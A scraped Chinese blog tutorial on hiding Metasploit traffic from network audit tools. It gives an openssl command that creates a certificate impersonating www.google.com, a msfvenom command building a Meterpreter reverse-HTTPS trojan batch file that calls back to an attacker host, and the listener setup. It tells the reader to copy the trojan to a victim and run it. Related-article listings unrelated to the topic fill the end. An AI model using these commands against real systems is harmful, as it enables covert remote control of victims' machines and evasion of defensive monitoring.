网络安全进阶篇之流量加密(十三章-2)MSF流量加密躲避检测

2023-11-11

一、为什么要加密

为了防止主机被入侵,现在大部分的内网环境都装有流量审计工具,

专门用来分析审查流量特征,分析网络流量,如后门特征、行为特征,

像 metasploit 在内网做横行渗透时,这些流量很容易就能被检测出来,

所以做好流量加密,就能避免审计工具检测出来。

大概过程:

使用openssl生成加密正常,

msf生成木马的时候将证书加进去,

设置监听的时候也将证书导入即可。

二、创建证书

使用命令:

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt

这样的命令也行: 主要是“ \ ”后边没有空格。

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \-keyout www.google.com.key \-out www.google.com.crt && \cat www.google.com.key www.google.com.crt > www.google.com.pem && \rm -f www.google.com.key www.google.com.crt

在这里插入图片描述

三、上线MSF

使用MSF生成木马,

msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.0.102 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o pentestlab.bat

在这里插入图片描述
开启监听,这里配置侦听器时还需要使用两个附加选项。

这是为了通知处理程序它将使用的证书(与有效负载相同),并在接收到连接时执行 SSL 证书验证。

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_winhttps
msf5 exploit(multi/handler) > set lhost 192.168.0.102
msf5 exploit(multi/handler) > set lport 443
msf5 exploit(multi/handler) > set HandlerSSLCert /root/桌面/liuliangjiami/www.google.com.pem
msf5 exploit(multi/handler) > set StagerVerifySSLCert true 

在这里插入图片描述
将木马复制到受害者,并运行。

我们可以去看看伪造的证书,

在这里插入图片描述
查看证书,
在这里插入图片描述

四、抓取流量测试

在攻击者机器,开启大鲨鱼开始监听流量。

在这里插入图片描述

随便执行两条命令,

在这里插入图片描述

暂停大鲨鱼,看看流量是否加密。

在这里插入图片描述

五、不上线的情况

5.1、经过测试win7系统无法上线。

5.2、看看配置是否正确

使用命令“ show advanced ”

在这里插入图片描述

在关注一下这个地方,

在这里插入图片描述

以上都正常,一般就不是配置的问题了。
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

网络安全进阶篇之流量加密(十三章-2)MSF流量加密躲避检测 的相关文章

  • C++命令模式:Command Pattern

    把方法调用封装起来 调用此方法的对象不需要关心方法是怎么运行的 还可以重复使用这些封装来实现撤销 undo 案例 设计一个遥控器来控制不同类型的装置 比如热水器 空调 每个装置的具体步骤方法不一样 命令模式可以将 动作的请求者 从 动作的执
  • Elastic Search一些用法

    一 滚动查询 参考 中国开源社区 滚动查询 并批量保存 param indexName return public int scrollIndexName String indexName NativeSearchQueryBuilder
  • hive详解

    一 什么是HIVE Hive是基于Hadoop的一个数据仓库工具 可以将结构化的数据文件映射为一张数据库表 并提供类SQL查询功能 工作流程 HIVE先定义一张表 这张表的结构和字段数据都存储在MYSQL或DERBY数据库中 这张表的信息就
  • linux socket 设置超时接收数据的方法

    为了不让程序阻塞在socket阻塞接收的状态 需要对接受函数设置超时等待 一段时间没有数据到来的话就退出接收数据 有两种 一种是使用C语言的定时器 一种是在初始化过程中添加超时处理 一 用C语言的定时器设置接收的超时等待 定时器 void
  • 华为OD机试真题-获取最大软件版本号【2023Q1】【JAVA、Python、C++】

    题目描述 Maven版本号定义 lt 主版本 gt lt 次版本 gt lt 增量版本 gt lt 里程碑版本 gt 举例3 1 4 beta 其中 主版本和次版本都是必须的 主版本 次版本 增量版本由多位数字组成 可能包含前导零 里程碑版
  • 程序员转行都去干嘛了?产品经理很正常,这位卖烧饼的也太强了

    程序员转行都去干嘛了 以下这些切实又不切实的选择仅供参考 1 转往临近岗位 比如你讨厌的产品经理 程序猿和产品经理可谓是最像夫妻的两个职位 相爱相杀 知根知底 程序员转产品经理有很大优势 因为了解产品的实现过程 所以对项目的时间把握有相当的

随机推荐

  • 【LLM】Falcon LLM:开源 LLM 的新王

    大家好 我是Sonhhxg 柒 希望你看完之后 能对你有所帮助 不足请指正 共同学习交流 个人主页 Sonhhxg 柒的博客 CSDN博客 欢迎各位 点赞 收藏 留言 系列专栏 机器学习 ML 自然语言处理 NLP 深度学习 DL fore
  • 华为机试题87-密码强度等级

    描述 密码按如下规则进行计分 并根据不同的得分为密码进行安全等级划分 一 密码长度 5 分 小于等于4 个字符 10 分 5 到7 字符 25 分 大于等于8 个字符 二 字母 0 分 没有字母 10 分 密码里的字母全都是小 大 写字母
  • 华为OD机试 - 滑动窗口最大和(Java)

    题目描述 有一个N个整数的数组 和一个长度为M的窗口 窗口从数组内的第一个数开始滑动直到窗口不能滑动为止 每次窗口滑动产生一个窗口和 窗口内所有数的和 求窗口滑动产生的所有窗口和的最大值 输入描述 第一行输入一个正整数N 表示整数个数 0
  • Scrapy框架中的crawlspider爬虫

    1 crawlspider是什么 在spider中要寻找下一页的url地址或者内容的url地址 想想是否有简单的方法省略寻找url的过程 思路 从response中提取所有的满足规则的url地址 自动的构造自己requests请求 发送给引
  • ARP工作原理以及ARP欺骗、中间人攻击

    目录 什么是ARP ARP的作用是什么 ARP的工作原理 ARP欺骗 ARP欺骗 中间人攻击实验 什么是ARP ARP的作用是什么 ARP即地址解析协议 属于网络层 作用是根据已知的IP地址解析获得其对应的MAC地址 ARP的工作原理 AR
  • 深度解读:区块链技术+智能医疗的核心优势

    2017年以来 数字货币热潮席卷全球 走进了大众的视野 作为比特币底层技术的区块链也展现出了其颠覆不同行业的潜力 医疗行业被认为是区块链技术最有潜力的应用领域之一 随着全球数字化进程的高速发展 如何保障包含大量患者隐私的医疗数据不被泄露变得
  • 深入使用noexcept

    深入使用noexcept 简介 好处 坏处 适用场景 不适用场景 实验结果 总结 参考资料 简介 noexcept是C 11引入的 表明函数是否会抛出异常 正确使用它可以优化性能 错误使用则会带来麻烦 noexcept使用语法有两种 noe
  • cookie字符串转为CookieCollection

    string cookiestr uin 123456789 skey abcabc 参考 下例都无用 httpwebrequest AllowAutoRedirect false 禁止httpwebrequest自动跳转 string A
  • Java程序员:内事不决问百度,外事不决问谷歌,一遇面试就变捞

    前言 我还记得大学毕业刚入职那会儿 进了一家不大不小的公司 拿着一份仅仅能养活自己的薪水 做着日复一日的基操 聊天扯淡 优哉游哉 甚不快活 仍还记得 进入公司之初 一位公司的 老 程序员给我传输了一个经验 内事不决问百度 外事不决问谷歌 多
  • WinAPI: FindWindow、FindWindowEx - 查找窗口

    FindWindow lpClassName 窗口的类名 lpWindowName PChar 窗口的标题 HWND 返回窗口的句柄 失败返回 0 FindWindowEx 比 FindWindow 多出两个句柄参数 FindWindowE
  • SQL、presto将一对多出现重复的字段新添一列表示

    SQL presto将一对多出现重复的字段新添一列表示 例如一个用户 id 在多个渠道都有授信金额 amount 我希望展示出来这个用户在所有渠道的授信金额 但 select id amount from table 可能出现的结果是 一个
  • 【笔记】 C++中 Prefix/Suffix of a Literal

    C Primer English Version Page40 Table 2 2 是需要记忆一下的 有些记不住 就记了下笔记 Character and Character String Literals Prefix Meaning T
  • 照片生成3D虚拟数字人,虚拟形象主播搭建(软件+教程)

    1 一张照片快速生成3D虚拟数字人 无需建模和动画基础 2 真人驱动数字人 数字人代替真人出镜 真人无需露脸也能轻松做直播 3 形象丰富 角色自定义 场景自定义 可以每天都换着花样的直播 5 操作简单 最重要的是不需要动作捕捉设备 5 适用
  • 让专注的思维成为习惯

    朱自清在 匆匆 中曾描述 洗手的时候 日子从水盆里过去 吃饭的时候 日子从饭碗里过去 默默时 便从凝然的双眼前过去 我想说 当我们思考一天时间都用来做什么的时候 真的发现暗时间很多 真正的用于学习or工作的时间并不多 下面是我统计某一天时间
  • Java中的数组复制:System.arraycopy()方法

    arraycopy 方法中有五个参数 第一个 源数组 第二个 源数字的复制起始位置 第三个 目标数组 第四个 数字的起始位置 第五个 复制的长度 public class ArrayTest04 public static void mai
  • 在 Linux 文件系统中使用 attr 添加扩展属性

    我使用开源的 XFS 文件系统是为了其扩展属性带来的小小便利 扩展属性是一种为我的数据添加上下文的独特方式 文件系统 是一个描述你的计算机怎样跟踪你创建的所有文件的完美词语 你的计算机存储有大量的数据 无论是文档 配置文件还是数以千计的照片
  • 以太网相关

    1 隔离变压器作用 信号传输 阻抗匹配 波形修复 信号杂波抑制和高电压隔离作用 2 MAC到PHY常用接口种类 有哪些信号 多少个信号 以太网PHY MAC接口模式 RGMII RMII MII SGMII SMII GMII XGMII
  • 服务器芯片和超算芯片,英特尔芯片将挑战Nvidia GPU和谷歌 TPU

    英特尔芯片似乎有了一些明显的软肋 其中之一就是缺乏高端图像处理器 而这对游戏 虚拟实境和机器学习都极为重要 但英特尔也确实有两个强大的替代选择 在机器学习和超算领域迎战GPU等极具竞争性的芯片 2018年 英特尔可能会推出一个更快 更节能的
  • 使用mybatis来操作oracle

    1 使用spring的初始化工具来构建项目 2 添加依赖 3 项目结构 4 详细文件 4 1配置文件 server port 8888 spring datasource driver class name oracle jdbc driv
  • 网络安全进阶篇之流量加密(十三章-2)MSF流量加密躲避检测

    文章目录 一 为什么要加密 二 创建证书 三 上线MSF 四 抓取流量测试 五 不上线的情况 5 1 经过测试win7系统无法上线 5 2 看看配置是否正确 一 为什么要加密 为了防止主机被入侵 现在大部分的内网环境都装有流量审计工具 专门